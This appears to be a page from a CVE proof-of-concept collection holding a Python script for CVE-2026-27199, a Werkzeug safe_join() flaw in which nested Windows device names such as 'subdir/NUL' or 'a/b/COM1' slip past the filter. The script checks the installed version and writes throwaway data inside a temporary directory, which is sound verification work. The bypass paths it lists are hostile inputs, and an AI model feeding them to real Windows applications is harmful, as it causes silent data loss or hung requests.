4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc_CVE-2026-27199.py PY
"""
Proof of Concept: CVE-2026-27199
Werkzeug safe_join() Windows device-name bypass via nested path segments

Affected versions: werkzeug < 3.1.6
Fixed in:          werkzeug 3.1.6
Severity:          Moderate
Reporter:          alimezar

Description:
    werkzeug.security.safe_join() is documented to block Windows special device
    names (CON, NUL, PRN, AUX, COM1, etc.). The check correctly blocks top-level
    device names (e.g. "NUL"), but fails to validate each individual path segment.
    A device name placed after one or more directory components (e.g. "subdir/NUL")
    bypasses the filter entirely, allowing the returned path to resolve to a Windows
    device file when used with open() or other file I/O operations.

Impact:
    - Silent data loss: writes to "subdir/NUL" succeed but are discarded by the OS.
    - Indefinite read hangs: send_from_directory() can hang on device reads (e.g. CON).
    - Any application passing untrusted filenames to safe_join() on Windows is affected.

Usage:
    Run on Windows with an affected Werkzeug version:
        python poc_CVE-2026-27199.py

    Expected output on a vulnerable version:
        [*] Werkzeug version: 3.1.5
        [+] safe_join(base, 'NUL')        -> None  (correctly blocked)
        [!] safe_join(base, 'subdir/NUL') -> C:\\...\\subdir\\NUL  (bypass!)
        [!] open(nested NUL) write: SUCCESS — data silently discarded by device
        [!] VULNERABLE: device-name bypass confirmed.

    Expected output on a patched version (>= 3.1.6):
        [+] safe_join(base, 'subdir/NUL') -> None  (correctly blocked)
        [+] NOT VULNERABLE: nested device name was blocked.
"""

import os
import sys
import tempfile

try:
    from importlib.metadata import version as pkg_version
except ImportError:
    from importlib_metadata import version as pkg_version  # Python < 3.8 fallback

from werkzeug.security import safe_join


def main():
    print("=" * 60)
    print("CVE-2026-27199 — Werkzeug safe_join() PoC")
    print("=" * 60)

    try:
        wz_ver = pkg_version("werkzeug")
    except Exception:
        wz_ver = "unknown"

    print(f"[*] Werkzeug version : {wz_ver}")
    print(f"[*] os.name          : {os.name}")
    print()

    if os.name != "nt":
        print("[~] Not running on Windows (os.name != 'nt').")
        print("    The Windows device-name bypass only manifests on Windows.")
        print("    Run this script on a Windows host to observe the full impact.")
        sys.exit(0)

    # Create a temporary base directory with a sub-directory for the nested test
    base = tempfile.mkdtemp(prefix="cve_2026_27199_")
    subdir = os.path.join(base, "subdir")
    os.makedirs(subdir, exist_ok=True)

    print(f"[*] Temp base dir    : {base}")
    print()

    # --- Test 1: top-level device name (should be blocked on all versions) ---
    result_top = safe_join(base, "NUL")
    if result_top is None:
        print("[+] safe_join(base, 'NUL')        -> None  (correctly blocked)")
    else:
        print(f"[!] safe_join(base, 'NUL')        -> {result_top}  (unexpected — not blocked!)")

    # --- Test 2: nested device name (the bypass) ---
    result_nested = safe_join(base, "subdir/NUL")
    if result_nested is None:
        print("[+] safe_join(base, 'subdir/NUL') -> None  (correctly blocked)")
        print()
        print("[+] NOT VULNERABLE: nested device name was blocked.")
        print("    Ensure you are running werkzeug >= 3.1.6.")
        sys.exit(0)
    else:
        print(f"[!] safe_join(base, 'subdir/NUL') -> {result_nested}  (bypass!)")

    print()

    # --- Test 3: demonstrate silent data loss via NUL ---
    print("[*] Attempting to write to the returned path ...")
    try:
        with open(result_nested, "wb") as fh:
            fh.write(b"this data will be silently discarded")
        print("[!] open(nested NUL) write: SUCCESS — data silently discarded by device")
    except Exception as exc:
        print(f"[-] open(nested NUL) write: ERROR — {exc!r}")

    print()
    print("[!] VULNERABLE: CVE-2026-27199 confirmed on this installation.")

    # Additional bypass patterns (printed for reference, not executed)
    extras = ["uploads/NUL", "a/b/COM1", "assets/CON", "data/PRN", "x/y/AUX"]
    print()
    print("[*] Other bypass patterns (not executed here):")
    for pattern in extras:
        print(f"    safe_join(base, {pattern!r})")


if __name__ == "__main__":
    main()